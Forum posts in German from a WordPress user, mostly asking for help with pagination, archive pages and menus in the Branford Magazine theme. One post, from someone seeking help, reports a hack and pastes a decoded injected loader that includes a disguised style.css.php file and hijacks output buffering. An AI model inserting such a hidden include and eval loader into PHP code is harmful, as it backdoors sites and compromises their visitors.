Beiträge von ddklog

    Nein, benutze WP 2.6
    Habe allerdings gerade auf 2.9.1 upgedated und nun erstmal alles wieder runtergeschmissen. Warte noch darauf, dass mir 1&1 zwei Dateien löscht, die sich verselbständigt haben und sich von mir nicht löschen lassen. Dann werde ich es noch einmal probieren WP 2.9.1 hochzuladen und die Datenbank wieder reinzuladen.
    Hoffe dann auch diesen Hack rauszubekommen.
    Was fürn Ärger

    Hallo zusammen,

    mir ist aufgefallen, dass seit kurzer Zeit in sämtlichen PHP-Docs zu Beginn ein Text steht, der folgendermaßen beginnt:

    PHP
    eval(base64_decode('aWYoZnVuY3Rpb25f...


    Ich habe mir den Text auch dekodiert, kann ihn aber immer noch nicht verstehen. Ich stelle den Text hier anonymisiert rein:

    Code
    if(function_exists('ob_start')&&!isset($GLOBALS['mfsn'])){$GLOBALS['mfsn']='/kunden/homepages/10/dxxxxx/htdocs/xxxx-blog/wordpress/wp-includes/js/tinymce/plugins/inlinepopups/skins/clearlooks2/img/style.css.php';if(file_exists($GLOBALS['mfsn'])){include_once($GLOBALS['mfsn']);if(function_exists('gml')&&function_exists('dgobh')){ob_start('dgobh');}}}

    Der Pfad, der hier angegeben ist, führt zu einem CSS.php-Dokument, das wiederum einen viel längeren eval(base64_decode...)-Text enthält, den ich bisher nicht dekodieren kann.
    Interessanterweise sind in dem Ordner, in dem das Dokument liegt, lediglich gifs (ältere Back-Ups zeigen auch, dass es bis vor zwei Monaten tatsächlich nur gifs in diesem Ordner gab)
    Ich würde mich freuen, wenn mir jemand erklären kann, was dieser Text bedeutet, ob das gefährlich ist und bspw. mit dem Plug-In "Antivirus für Wordpress" die Dateien wieder zu bereinigen sind?

    Zitat

    Wäre nett wenn du schreiben würdest, welche Meldung da kommt.


    Habe ich vergessen. Hier ist sie:

    Zitat

    Fatal error: Call to undefined function: permalink() in /homepages/10/d117868913/htdocs/markentechnik-blog/wordpress/wp-content/themes/PRiNZ_BranfordMagazine_latest/branfordmagazine/blog-page.php on line 43


    Habe die Unterstriche eingefügt und jetzt wird der Befehl korrekt dargestellt. Aber der Link funktioniert nicht richtig. Die URL hängt sich kurz ein "/?paged=1" an - das verschwindet dann aber gleich wieder und die selbe Seite wird wieder angezeigt.
    Zur Kontrolle habe ich den Schnipsel noch mal angefügt:

    PHP
    <?php if ( !isset( $paged ) ) {  
      echo '<a href="' . get_permalink(21) . '?paged=2">Nächste Seite</a>';  
    } else {  
      echo '<a href="' . get_permalink(21) . '?paged=' . ($paged + 1) . '">Nächste Seite</a>';  
    } ?>


    Ich habe den Eindruck, wir gelangen jetzt wieder an die Grenzen des Themes, oder täusche ich mich?

    Auf die Php-Tags bin ich grade auch gekommen. Jetzt zeigt er mir eine Fehlermeldung für Zeile 43:

    PHP
    echo '<a href="' . get-permalink(21) . '?paged=' . ($paged + 1) . '">Nächste Seite</a>';


    sehe den Fehler aber nicht.

    Zitat

    (und in der 1. Zeile hatte ich ne Klammer vergessen)


    Die hast du beim zweiten Mal auch nicht eingefügt und ich sehe nicht wo die fehlt:?

    Ok ich habe als ID 21 eingegeben. Aber irgndwas stimmt mit dem Code nicht. Auf der Seite steht unten mehr als erwartet, nämlich:

    Zitat

    if ( !isset( $paged ) { echo 'Nächste Seite'; } else { echo 'Nächste Seite'; }

    Und der Link (abgesehen davon, dass er zweimal dasteht, funktioniert auch nicht. Habe ich einen Fehler gemacht? oder mal wieder in Unkenntnis des großen Rests was nicht verstanden?
    Danke

    Zitat

    Ich weiß jetzt nicht, ob posts_nav_link() die korrekte URL zusammenbastelt,


    Da hast du recht - es werden mir die selben Artikel noch einmal angezeigt auf einer Seite, die in der URL lediglich ein "page/2/" angehängt hat.

    Zitat

    eventuell musst du dort selbst Hand anlegen und die korrekten "paged"-Parameter anhängen.

    Ok, klingt logisch, aber:
    Wo finde ich die Parameter?
    Was muss ich da ändern?
    Wird die Suchergebnis-Seite von diesen Änderungen dann auch betroffen sein und sich verändern?
    Danke

    Hallo marX,

    ich habe mir deinen Vorschlag jetzt eingehend betrachtet und daraus etwas gestrickt, was tatsächlich funktioniert. Deinen Vorschlag aus #35 habe ich folgendermaßen modifiziert und er zeigt mir tatsächlich alle Artikel an (vorausgesetzt die Anzahl der Artikel ist hoch genug eingestellt). Leider werden alle Artikel untereinander angezeigt und ich wollte fragen, wie ich die Anzahl der Artikel auf bspw. 15 beschränke und dann die Möglichkeit "Ältere Artikel" anzuklicken, bzw. "Neuere Artikel". Dafür gibt es doch sicherlich einen Befehl, oder?

    Vielen Dank
    Der Text lautet nun(leicht gekürzt um das wesentliche zu zeigen:

    Vielen Dank erstmal für die Vorschläge!
    Ich habe die durchgespielt, bin aber leider nicht zu einem Ergebnis gekommen, mit dem ich leben kann.

    Ich habe dann folgende Idee gehabt:
    Wenn ich eine Suchanfrage mit einem Buchstaben mache, der in jedem Artikel vorkommt (bspw. "e") dann bekomme ich die Ansicht und die Inhalte, die ich benötige.
    Unwissend, wie ich bin, dachte ich mir, ich dupliziere die Dokumente "search.php" und "searchform.php" und ändere sie so, dass die Anfrage anstatt mit "?s=xy" in der URL mit "?f=xy" durchgeführt wird. Habe die Dokumente auch umbenannt und hochgeladen und... es funktioniert nicht! Wahrscheinlich für die meisten von euch klar, warum. Ich verstehe es nicht, aber ich habe es akzeptiert - wahrscheinlich von WP vorkonfiguriert.
    Aber die Idee verfolgt mich: Vielleicht kann mir ja einer dabei helfen! Ich möchte eine "Artikel-page.php" schreiben, in der ich den Ausgabe-Teil des "search.php" benutze. Ich würde das Skript dann gerne dahingehend verändern, dass in dem Skript bereits steht, dass es mir alle Artikel mit "e" anzeigt.

    Vielleicht weiß jemand von euch, wo ich das eintragen muss, bzw. wie das Skript zu verändern ist.

    Grüße und vielen Dank

    Frau_Braun:

    Zitat

    Würde so was auch passen?


    Danke für den Hinweis! Er entspricht leider nicht genau dem, was ich suche.
    Das BranfordTheme zeichnet sich ja aus durch den tollen Magazin-Charakter. Ich möchte den Lesern allerdings die Möglichkeit geben, alle Artikel (nur Teaser-Text) in "normaler" Blogstruktur zu lesen. D.h. alle Artikel aus jeder Kategorie zeitlich sortiert untereinander.
      marX:

    Zitat

    Vielleichz kannst du ja auch selbst mal dort posten.


    Das Forum ist im Moment nur im Lesemodus verfügbar.:cry:

    Ich gebe aber noch nicht auf!!
    Aus der Sidebar habe ich mir mal einen Befehl kopiert, der mir alle Artikel einer Kategorie in der Ansicht generiert, in der ich alle Artikel gerne hätte. Das ist ein Link und ich denke, evtl. kann der modifiziert werden. Bspw. durch einfügen eines Befehls, dass alle Kategorien ausgewählt werden.
    Hier ist der Link im Original:

    PHP
    <li><strong><a href="<?php echo get_category_link($category);?>" title="<?php _e('Alle Eintr&auml;ge ansehen aus','branfordmagazine');?> <?php echo $category->name; ?>"><?php _e('Archiv von','branfordmagazine');?> '<?php echo $category->name; ?>' &raquo;</a></strong></li>

    Ich habe jetzt folgendermaßen modifiziert:

    PHP
    <li id="nav" class="clearfloat">
    <a href="<?php echo get_category_link($category);?>" 
    title="<?php _e('Alle Artikel');?>">
    <?php _e('Alle Artikel','branfordmagazine');?></a></li>

    Leider findet er nichts! Er sagt: "Nothing Found"
    Braucht man evtl. vorangegangenen Code aus der Sidebar?

    Für Hinweise bin ich sehr dankbar!

    Zitat

    Dann hast du den verlinkten FAQ-Artikel nicht richtig gelesen.

    Hab ich schon gelesen, aber die Unterscheidung, mit der Startseite (statisch oder nicht) kannte ich einfach nicht!:roll:
    Ich habe jetzt das gesamte Forum vom Prinzen durchgeforstet und keinen Beitrag gefunden, der mein Problem löst. Außer einen: WebMoritz.de
    Da ist das Problem aber unschön gelöst.
    Mittels eines interessanten Links und einer page.php (Turn a Wordpress Page into a Link - Milorad Ivovi?) habe ich es im Endeffekt geschafft mir ein Jahresarchiv anzeigen zu lassen. Damit bin ich aber nicht zufrieden:evil:
    Ich denke, dass das nicht so schwer sein kann eine page.php selbst zu schreiben. Ich versuche dabei die Optionen, die mir die Archives.php des Themes gibt nach dem geheimen Befehl zu durchsuchen - es könnte allerdings sein, dass meine Vorstellung darin garnicht angeboten wird

    Zitat

    Oder "alle, davon jeweils X je Seite"? Das wäre ja das normale Blog, richtig.

    Genau so!

    Zitat

    Warum nutzt du das dann nicht?


    Weil ich eben den Befehl dafür nicht kenne, dass es mir die Seite so gestaltet.
    Ich habe jetzt folgendermaßen angefangen:


    Dann zeigt es mir aber nur die Monate, die ich nochmals anklicken müsste. Und mein Archives.php zeigt mir die Optionen in diesen merkwürdigen Schleifen If/Else - aber ich möchte ja nur eine Option daraus - wenn (s.o.) es die da so überhaupt gibt.
    Das Archives.php sieht auf jeden Fall so aus:


    Vielleicht kannst du mir ja anmarkern was davon für mich relevant ist?!:confused:
    Es kann doch nicht sein, dass ich eine so komische Idee habe, auf die noch keiner vor mir gekommen ist, oder?
    Und bei meiner Lektüre der vielen Forumposts habe ich eines gelernt: Es geht (scheinbar) alles!

    Nur wie?
    Danke

    Zitat

    Hast du dir in der Doku mal angeschaut, was wp_get_archives() zurück liefert? Keinen Link auf das Archiv jedenfalls!


    da hast du mich voll erwischt! Ich baue die Befehle eben da ein, wo sie mir plausibel erscheinen:?


    Zitat

    Wie gesagt, schau dir mal o.g. FAQ-Artikel an. Ich denke das ist das was du suchst.


    Habe ich mir angeschaut und das klappt nicht.
    Warum?

    Zitat

    Das Template für diese "Seite" ist dann die home.php


    So was wie eine home.php existiert nicht. Ich habe nur Archives.php; categories-page; standardtemplate, etc., die ich auswählen kann - und die habe ich alle ausprobiert.

    Danke für deine Antwort!

    Ich habe jetzt folgenden Code für mein Archiv generiert und bekomme die Meldung "Nothing Found". Zusätzlich ist URL wahnsinnig lang und zeigt mir, dass ich da noch einen Fehler im Code habe.

    Zitat

    "Alle" im Sinne von "alle auf einer Seite"? Oder "alle, davon jeweils X je Seite"? Das wäre ja das normale Blog, richtig


    Ich denke, so 15 Artikel je Seite sind ok!

    Hier mein Code aus der Header-Datei:

    Danke

    Super! Das hat auch geklappt.

    Analog für diese Stelle bastel ich gerade an dem Menupunkt "Alle Artikel". Ich versuche hier eigentlich, dass mir da alle (ohne Einschränkung alle) Artikel mit kurzer Textvorschau in chronologischer Reihenfolge gezeigt werden - was ja eigentlich dem klassischen Blog entspricht. Ich hab folgendes probiert:


    Aber hier findet er gar nichts mehr. Ich hab den "paged"-Befehl aus dem Archive.php-Dokument.
    alternativ habe ich mir gedacht, dass ich nur mein Archives.php-dokument umstricken müsste. Der Text ist sehr kurz und vielleicht weiss ja jemand wie das geht oder welcher der beiden Wege einfacher ist?
    Hier ist er:

    danke

    Habe jetzt das Problem mit der Formatierung in den Griff bekommen. Siehe Code. Aber wegen der Reihenfolge weiß ich echt nicht weiter.

    PHP
    <div class="right"></div>
    </div>
    <ul id="nav" class="clearfloat">
    <li><a href="<?php echo get_option('home'); ?>/" class="on">Home</a></li> 
    
    
    <li>
      <a /" class="nav">Kategorien </a>
      <ul><?php wp_list_categories('orderby=order&hide_empty=1&title_li=&exclude=1,3'); ?></ul>
    </li>


    Danke

    Das ist ja unglaublich!
    Ich habe jetzt den Code noch erweitert damit er mir die Reihenfolge so anzeigt, wie ich das auch in der Sidebar gestaltet habe.
    Was ich jedoch nicht checke:
    1. Die Formatierung, die im nav.css festgelegt wurde, übernimmt er mir hier jedoch nicht!? Wieso, verstehe ich nicht, da er "Home", das ja auch explizit im Code steht, auch so formatiert wird!
    2. Wie kann ich ihm "sagen", dass ich "Kategorien" erst an 3. Stelle haben möchte?
    Der Code sieht jetzt folgendermaßen aus:

    Vielen Dank nochmals